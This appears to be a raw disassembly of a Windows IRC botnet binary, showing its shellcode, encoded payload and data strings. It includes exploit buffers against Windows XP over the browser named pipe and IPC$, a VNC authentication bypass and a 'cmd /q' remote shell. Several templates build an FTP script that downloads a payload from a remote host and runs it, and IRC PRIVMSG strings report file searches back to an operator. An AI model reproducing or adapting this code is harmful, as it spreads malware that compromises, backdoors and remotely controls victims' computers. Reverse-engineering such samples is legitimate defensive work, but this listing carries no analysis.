; FUNCTION CHUNK AT 0043265A SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_43263B
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_432646
; ---------------------------------------------------------------------------
loc_43263B: ; CODE XREF: sub_432622+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_432646: ; CODE XREF: sub_432622+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_43265A
sub_432622 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43264D proc near ; CODE XREF: sub_432622:loc_43265Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_43264D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_432622
loc_43265A: ; CODE XREF: sub_432622+29j
call sub_43264D
loc_43265F: ; DATA XREF: sub_40CADA+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_432622
; ---------------------------------------------------------------------------
dw 0
dword_432664 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_432670 dd 30h ; DATA XREF: sub_40CADA+2CAo
dword_432674 dd 0A1h ; DATA XREF: sub_40CADA+29Fo
dword_432678 dd 3 ; DATA XREF: sub_40CADA+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o
align 4
loc_432684: ; DATA XREF: sub_40CADA+E8o
jmp short near ptr dword_43268C
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_43268C dd 0 ; CODE XREF: ___:loc_432684j
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: ___:0040D330o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 8
dword_4326F8 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------
loc_432704: ; CODE XREF: ___:0043270Ej
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_432704
inc edi
jz short loc_43274B
and eax, 952CE753h
inc esp
jle short loc_432773
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_43274B: ; CODE XREF: ___:00432711j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_4327AA+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_432770: ; CODE XREF: ___:0043279Dj
xor [esi-25h], bl
loc_432773: ; CODE XREF: ___:00432719j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_43278C: ; CODE XREF: ___:004327BFj
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_432770
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_4327AA: ; CODE XREF: ___:00432751j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_432836
jo short loc_43278C
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_4327CD+1
add bl, [edi]
loc_4327CD: ; CODE XREF: ___:004327C9j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_4327E2+2
cmp ch, bh
dec edx
loc_4327E2: ; CODE XREF: ___:004327DDj
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_432836: ; CODE XREF: ___:004327BDj
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_4328BC
sub al, 0BCh
jmp near ptr 54452C2Ah
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_432858 dd 0EFFFC481h, 44FFFFh, 4328A4h ; DATA XREF: ___:0040DC32o
dword_432864 dd 42Ah ; DATA XREF: ___:0040DBE5r
dword_432868 dd 3E8h ; DATA XREF: ___:0040DC56r
dword_43286C dd 258h ; DATA XREF: ___:0040DC28r
byte_432870 db 1 ; DATA XREF: ___:0040DB91r
; ___:0040DC5Fr
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_432888 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00432874o
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_4328BC: ; CODE XREF: ___:00432840j
push eax
xor al, 29h
loc_4328BF: ; DATA XREF: ___:0040DBB9o
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 8
dword_4328C8 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o
dword_4328DC dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
align 4
aSIpc db '\\%s\ipc$',0
align 10h
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40DFE2+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_432984 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
align 4
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
align 4
word_433BC8 dw 1 ; DATA XREF: ___:0040E210r
align 4
dword_433BCC dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
; DATA XREF: sub_419C64+21o
dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
dd 0
aFtpTransferCom db 'ftp transfer complete to: %s',0
align 4
a226TransferCom db '226 Transfer complete.',0Ah,0
aFtpTransferSta db 'ftp transfer started to: %s',0
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
align 4
aRetr db 'RETR',0
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0
align 4
aS_S_S_S db '%s.%s.%s.%s',0
aXX db '%x%x',0Ah,0
align 10h
aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
db ']',0
aPort db 'PORT',0
align 10h
a226TransferC_0 db '226 Transfer complete',0Ah,0
align 4
aList_0 db 'LIST',0
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
align 4
aPasv db 'PASV',0
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0
aI_0: ; DATA XREF: ___:00438330o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0
aA_0: ; DATA XREF: ___:0043833Co
unicode 0, <A>,0
aType db 'TYPE',0
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0
align 4
dd offset dword_445750
a350Restarting_ db '350 Restarting.',0Ah,0
align 4
aRest db 'REST',0
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0
align 4
aSyst db 'SYST',0
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0
align 4
aPass_0 db 'PASS',0
align 4
a331PasswordReq db '331 Password required',0Ah,0
align 4
aUser_2 db 'USER',0
align 4
aSS_3 db '%s %s',0
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0
align 4
unk_433EB4 db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_433EDC db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo
; sub_41A4D1+F5o
align 10h
aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o
; sub_41AA42+1AEo
align 10h
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
align 10h
aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo
align 4
unk_4340FC db 2Dh ; - ; DATA XREF: sub_40F6B3+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_37 db ' failed to start worker thread, error %d',0
align 4
unk_434134 db 2Dh ; - ; DATA XREF: sub_40F6B3+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
asc_434168: ; DATA XREF: sub_40F6B3+15Ao
unicode 0, <*>,0
aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_40F96A+652o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_40F96A+61Co
align 10h
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
align 4
aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o
; sub_40F96A+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
align 4
aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o
; sub_40F96A+40Bo
align 10h
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o
align 4
aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao
align 4
a__ db '..',0 ; DATA XREF: sub_40F96A+237o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_434610 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do
aServerFailed_0 db '- server failed, returned %d',0
align 4
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_434654 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o
aClientConnecti db '- client connection from %s:%d.',0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0
unk_4346BC db 2Dh ; - ; DATA XREF: ___:00410493o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_434704 db 2Dh ; - ; DATA XREF: ___:004106E5o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0
unk_434744 db 2Dh ; - ; DATA XREF: ___:0041061Co
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_434788 db 2Dh ; - ; DATA XREF: ___:004109A8o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_4347B4 db 2Dh ; - ; DATA XREF: ___:00410981o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 10h
unk_4347E0 db 2Dh ; - ; DATA XREF: ___:00410961o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
align 4
unk_43481C db 2Dh ; - ; DATA XREF: ___:004108A0o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
unk_434848 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
dword_434874 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_410A1E+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h
dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
dd 656E7275h, 3C203A64h, 2E3E6425h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h
dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h
dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
dd 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 10h
unk_434A10 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_434A44 db 2Dh ; - ; DATA XREF: sub_410CD5+59o
; sub_410CD5+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_434A8C db 2Dh ; - ; DATA XREF: sub_410E26+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_434AB4 db 2Dh ; - ; DATA XREF: sub_410E26+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_434AF4 db 2Dh ; - ; DATA XREF: sub_410E26+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434B34 db 2Dh ; - ; DATA XREF: sub_410F1F+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co
align 4
dword_434B74 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h
; DATA XREF: sub_410FF8+A1o
dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
dd 74726F50h, 2E642520h, 0
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h
dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh
